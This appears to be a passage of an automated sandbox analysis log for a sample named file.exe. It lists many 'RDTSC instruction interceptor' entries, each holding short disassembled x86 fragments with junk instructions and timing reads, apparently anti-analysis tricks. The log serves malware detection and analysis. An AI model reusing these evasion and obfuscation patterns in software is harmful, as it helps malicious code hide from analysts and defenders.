Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B120D6 second address: 92FC18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D15h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a add dword ptr [esp], 09A7AFF9h 0x00000011 cmc 0x00000012 push dword ptr [ebp+122D0E35h] 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007F332CB40D08h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 00000019h 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 cld 0x00000033 call dword ptr [ebp+122D1890h] 0x00000039 pushad 0x0000003a sub dword ptr [ebp+122D1836h], ecx 0x00000040 xor eax, eax 0x00000042 mov dword ptr [ebp+122D1836h], ebx 0x00000048 sub dword ptr [ebp+122D1836h], edi 0x0000004e mov edx, dword ptr [esp+28h] 0x00000052 jmp 00007F332CB40D0Fh 0x00000057 mov dword ptr [ebp+122D3A81h], eax 0x0000005d clc 0x0000005e mov esi, 0000003Ch 0x00000063 sub dword ptr [ebp+122D17CDh], ecx 0x00000069 add esi, dword ptr [esp+24h] 0x0000006d sub dword ptr [ebp+122D17C3h], ecx 0x00000073 lodsw 0x00000075 cld 0x00000076 add eax, dword ptr [esp+24h] 0x0000007a cld 0x0000007b mov ebx, dword ptr [esp+24h] 0x0000007f mov dword ptr [ebp+122D1801h], eax 0x00000085 push eax 0x00000086 push eax 0x00000087 push edx 0x00000088 push edx 0x00000089 push edx 0x0000008a pop edx 0x0000008b pop edx 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18D2B second address: B18D31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18D31 second address: B18D35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18D35 second address: B18D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F332D370A46h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18D45 second address: B18D49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B17F7F second address: B17FB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F332D370A4Ch 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F332D370A4Bh 0x00000012 pushad 0x00000013 jne 00007F332D370A46h 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007F332D370A4Ch 0x00000020 popad 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B17FB8 second address: B17FC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B17FC0 second address: B17FC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18139 second address: B1813D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1813D second address: B18196 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F332D370A58h 0x0000000c jmp 00007F332D370A53h 0x00000011 pop edi 0x00000012 pushad 0x00000013 jnc 00007F332D370A46h 0x00000019 push esi 0x0000001a pop esi 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007F332D370A52h 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 jne 00007F332D370A46h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18196 second address: B1819C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1819C second address: B181A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B181A8 second address: B181AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B181AD second address: B181B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B181B4 second address: B181C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F332CB40D0Ch 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18317 second address: B18333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F332D370A4Bh 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e jnp 00007F332D370A4Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1866B second address: B1868B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop esi 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F332CB40D0Fh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1868B second address: B18690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1E075 second address: B1E086 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnp 00007F332CB40D06h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1E086 second address: B1E08A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1E08A second address: B1E0AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D10h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F332CB40D0Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1E0AE second address: B1E0B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1CD91 second address: B1CD95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0440D second address: B04411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D055 second address: B1D059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D059 second address: B1D06A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007F332D370A46h 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D06A second address: B1D06F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D45C second address: B1D46A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A4Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D46A second address: B1D48B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F332CB40D17h 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D48B second address: B1D4AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A50h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d js 00007F332D370A5Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D4AB second address: B1D4DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F332CB40D11h 0x00000009 jmp 00007F332CB40D17h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D4DB second address: B1D4E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D4E1 second address: B1D4E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0549D second address: B054A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B054A1 second address: B054A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B06419 second address: B0641D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D7C5 second address: B1D7E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F332CB40D0Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D8F8 second address: B1D90E instructions: 0x00000000 rdtsc 0x00000002 js 00007F332D370A46h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jg 00007F332D370A46h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D90E second address: B1D931 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F332CB40D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F332CB40D15h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D931 second address: B1D935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D935 second address: B1D94F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jne 00007F332CB40D20h 0x0000000d push ebx 0x0000000e jc 00007F332CB40D06h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 pop ebx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D94F second address: B1D955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F678 second address: B1F67E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F67E second address: B1F6A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F332D370A59h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA10EF second address: AA10F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA10F5 second address: AA1150 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A59h 0x00000007 jnc 00007F332D370A46h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F332D370A56h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F332D370A4Ah 0x0000001b jmp 00007F332D370A56h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1150 second address: AA1167 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1167 second address: AA117E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jbe 00007F332D370A56h 0x0000000b jmp 00007F332D370A4Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA117E second address: AA118C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnp 00007F332CB40D06h 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B27B40 second address: B27B57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F332D370A52h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B269DC second address: B269E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B269E0 second address: B26A0E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F332D370A64h 0x00000008 jmp 00007F332D370A4Bh 0x0000000d jmp 00007F332D370A53h 0x00000012 jnp 00007F332D370A4Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9AD6 second address: AE9ADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9ADB second address: AE9AE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9AE2 second address: AE9B46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F332CB40D08h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D191Ah], ecx 0x0000002a sub dword ptr [ebp+12487775h], edx 0x00000030 lea eax, dword ptr [ebp+1248D801h] 0x00000036 push 00000000h 0x00000038 push ebp 0x00000039 call 00007F332CB40D08h 0x0000003e pop ebp 0x0000003f mov dword ptr [esp+04h], ebp 0x00000043 add dword ptr [esp+04h], 0000001Ch 0x0000004b inc ebp 0x0000004c push ebp 0x0000004d ret 0x0000004e pop ebp 0x0000004f ret 0x00000050 nop 0x00000051 push eax 0x00000052 push edx 0x00000053 push esi 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9B46 second address: AE9B4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9B4B second address: AE9B6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9C79 second address: AE9C7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9F45 second address: AE9F4F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F332CB40D0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9F4F second address: AE9F60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jc 00007F332D370A54h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9F60 second address: 92FC18 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F332CB40D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b add edx, dword ptr [ebp+122D39E1h] 0x00000011 push dword ptr [ebp+122D0E35h] 0x00000017 call dword ptr [ebp+122D1890h] 0x0000001d pushad 0x0000001e sub dword ptr [ebp+122D1836h], ecx 0x00000024 xor eax, eax 0x00000026 mov dword ptr [ebp+122D1836h], ebx 0x0000002c sub dword ptr [ebp+122D1836h], edi 0x00000032 mov edx, dword ptr [esp+28h] 0x00000036 jmp 00007F332CB40D0Fh 0x0000003b mov dword ptr [ebp+122D3A81h], eax 0x00000041 clc 0x00000042 mov esi, 0000003Ch 0x00000047 sub dword ptr [ebp+122D17CDh], ecx 0x0000004d add esi, dword ptr [esp+24h] 0x00000051 sub dword ptr [ebp+122D17C3h], ecx 0x00000057 lodsw 0x00000059 cld 0x0000005a add eax, dword ptr [esp+24h] 0x0000005e cld 0x0000005f mov ebx, dword ptr [esp+24h] 0x00000063 mov dword ptr [ebp+122D1801h], eax 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c push edx 0x0000006d push edx 0x0000006e pop edx 0x0000006f pop edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA155 second address: AEA159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA159 second address: AEA173 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnp 00007F332CB40D06h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA27F second address: AEA285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA353 second address: AEA368 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA485 second address: AEA48B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA48B second address: AEA514 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F332CB40D08h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 jmp 00007F332CB40D13h 0x0000002b push 00000004h 0x0000002d push 00000000h 0x0000002f push ebp 0x00000030 call 00007F332CB40D08h 0x00000035 pop ebp 0x00000036 mov dword ptr [esp+04h], ebp 0x0000003a add dword ptr [esp+04h], 0000001Ch 0x00000042 inc ebp 0x00000043 push ebp 0x00000044 ret 0x00000045 pop ebp 0x00000046 ret 0x00000047 mov dx, cx 0x0000004a nop 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F332CB40D11h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA514 second address: AEA525 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA8BC second address: AEA91E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c popad 0x0000000d nop 0x0000000e mov ecx, dword ptr [ebp+122D3835h] 0x00000014 push 0000001Eh 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F332CB40D08h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 nop 0x00000031 jo 00007F332CB40D20h 0x00000037 jbe 00007F332CB40D1Ah 0x0000003d jmp 00007F332CB40D14h 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 jp 00007F332CB40D08h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEACA1 second address: AEACB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F332D370A48h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEACB6 second address: AEACC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F332CB40D06h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEACC1 second address: AEACE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F332D370A56h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEACE8 second address: AEACF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F332CB40D06h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEAD76 second address: AEAD80 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F332D370A4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEAD80 second address: AEAD8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEAD8B second address: AEAD91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEAD91 second address: AEAE28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007F332CB40D08h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 00000018h 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 jng 00007F332CB40D0Ch 0x00000027 or dword ptr [ebp+122D3745h], edx 0x0000002d lea eax, dword ptr [ebp+1248D845h] 0x00000033 mov dword ptr [ebp+122D32AFh], edi 0x00000039 push eax 0x0000003a jns 00007F332CB40D18h 0x00000040 mov dword ptr [esp], eax 0x00000043 push 00000000h 0x00000045 push edx 0x00000046 call 00007F332CB40D08h 0x0000004b pop edx 0x0000004c mov dword ptr [esp+04h], edx 0x00000050 add dword ptr [esp+04h], 0000001Bh 0x00000058 inc edx 0x00000059 push edx 0x0000005a ret 0x0000005b pop edx 0x0000005c ret 0x0000005d xor edx, 2DC8A3E2h 0x00000063 lea eax, dword ptr [ebp+1248D801h] 0x00000069 mov dword ptr [ebp+122D2267h], eax 0x0000006f nop 0x00000070 push eax 0x00000071 push edx 0x00000072 push ecx 0x00000073 pushad 0x00000074 popad 0x00000075 pop ecx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEAE28 second address: AEAE32 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F332D370A4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
